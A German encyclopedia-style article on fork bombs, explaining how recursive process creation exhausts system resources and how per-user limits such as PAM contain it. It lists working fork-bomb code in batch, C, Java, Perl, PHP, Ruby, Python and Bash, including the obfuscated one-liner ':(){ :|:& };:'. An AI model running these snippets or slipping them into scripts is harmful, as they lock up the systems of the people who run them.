Forkbomb

Rekursive Prozesserzeugung

Eine Forkbomb (englisch Fork bomb), auch Rabbit genannt, ist ein Computerprogramm, dessen einziger Zweck es ist, rekursiv Kopien seiner selbst zu starten, alle verfügbaren Systemressourcen zu verbrauchen und so das System zu blockieren. Unter Unix geschieht das im einfachsten Fall mit dem Aufruf des Systemcalls fork in einer Endlosschleife.

In Pseudocode sieht eine Forkbomb etwa so aus:

ProgrammX {
  Rufe ProgrammX auf;
  Rufe ProgrammX auf;
  Warte bis ProgrammX beendet wurde;
}

Das Programm ruft zwei Kopien seiner selbst auf und wartet, bis sie wieder beendet wurden. Dieser Zustand wird jedoch niemals erreicht werden, da die Kopien genauso verfahren. Aus einem Programmaufruf werden somit zunächst 2, dann 4, dann 8 und nach nur 10 solcher Zyklen sind bereits über tausend Kopien gestartet und aktiv. Allgemein lässt sich festhalten, dass nach n Zyklen 2ⁿ Prozesse erzeugt worden sind, ihre Anzahl also exponentiell zunimmt. Diese verbrauchen, selbst wenn sie keinen komplizierten Code enthalten, CPU-Zeit und Speicher zur Verwaltung durch das Betriebssystem. Ein normaler Betrieb beziehungsweise normales Arbeiten ist bereits wenige Sekunden nach Aufruf der Forkbomb nicht mehr möglich.

Der konkrete Effekt einer Forkbomb hängt in erster Linie von der Konfiguration des Betriebssystems ab. Beispielsweise erlaubt PAM auf Unix- und Unix-ähnlichen Betriebssystemen die Zahl der Prozesse und den maximal zu verbrauchenden Speicher pro Benutzer zu beschränken. „Explodiert“ eine Forkbomb auf einem System, welches diese Möglichkeiten der Beschränkung nutzt, scheitert irgendwann der Versuch, neue Kopien der Forkbomb zu starten und das Wachstum ist eingedämmt.

Beispiele für Forkbombs

Um die Stabilität des Systems nicht zu gefährden, wird empfohlen, die nachstehend genannten Beispiele nicht auszuführen.

Microsoft-Windows-Batch-Datei

Beispiel für eine Microsoft-Windows-Batch-Datei in Kurzform:

%0|%0

oder

 @echo off
 :start
 start "Forkbomb" /high %0
 goto start

Programmiersprache C

Beispiel für C unter Unix:

#include <unistd.h>
int main(void){
    for(;;)
        fork();
    return 0;
}

Beispiel für C unter Windows

#include <windows.h>
int main(int argc, char **argv) {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  while (1) {
	  SetConsoleCtrlHandler(0, 1);
	  CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  }
  return 0;
}

Java

Beispiel für Java:

public class ForkBomb implements Runnable {
  public static void main(String[] args) {
    new ForkBomb().run();
  }

  public void run() {
    new Thread(this).start();
    this.run();
  }
}

Perl

Beispiel für Perl als Kommandozeilenaufruf:

perl -e "fork while fork"

PHP

Beispiel für PHP:

<?php
while(true) pcntl_fork();
?>

Ruby

Beispiel für Ruby:

loop { fork }

Python

Beispiel für Python als Programm:

import os

while True:
     os.fork()

oder als Kommandozeilenaufruf:

python -c 'while 1: __import__("os").fork()'

Bash

Beispiel für Bash in Normalform:

function f() {
    f | f&
}
f

Um die Eigenschaft als Forkbomb zu verschleiern, wird obiger Code häufig in folgender Kurzform gegeben:

:(){ :|:& };:

Erklärung:

:()      # Definition der Funktion ":" -- immer wenn ":" aufgerufen wird, tue das folgende:
{        #
    :    # eine neue Kopie von ":" laden
    |    # … und seine Standardausgabe umleiten auf …
    :    # … eine weitere Kopie von ":" (die auch in den Speicher geladen werden muss)
         # (":|:" erzeugt also einfach 2 Kopien von ":", immer wenn es aufgerufen wird)
    &    # die Befehlszeile unabhängig vom aufrufenden Prozess machen (im Hintergrund ausführen)
}        #
;        # Durch ";" wird die Definition von ":" beendet
:        # …und durch den Aufruf von ":" die Kettenreaktion in Gang gesetzt.

Literatur

• Eric S. Raymond: The New hacker's dictionary. With foreword and cartoons by Guy L. Steele Jr. 3rd edition. MIT Press, Cambridge MA u. a. 1996, ISBN 0-262-68092-0, Online.
• Cyrus Peikari, Anton Chuvakin: Security warrior. O’Reilly, Beijing u. a. 2004, ISBN 0-596-00545-8.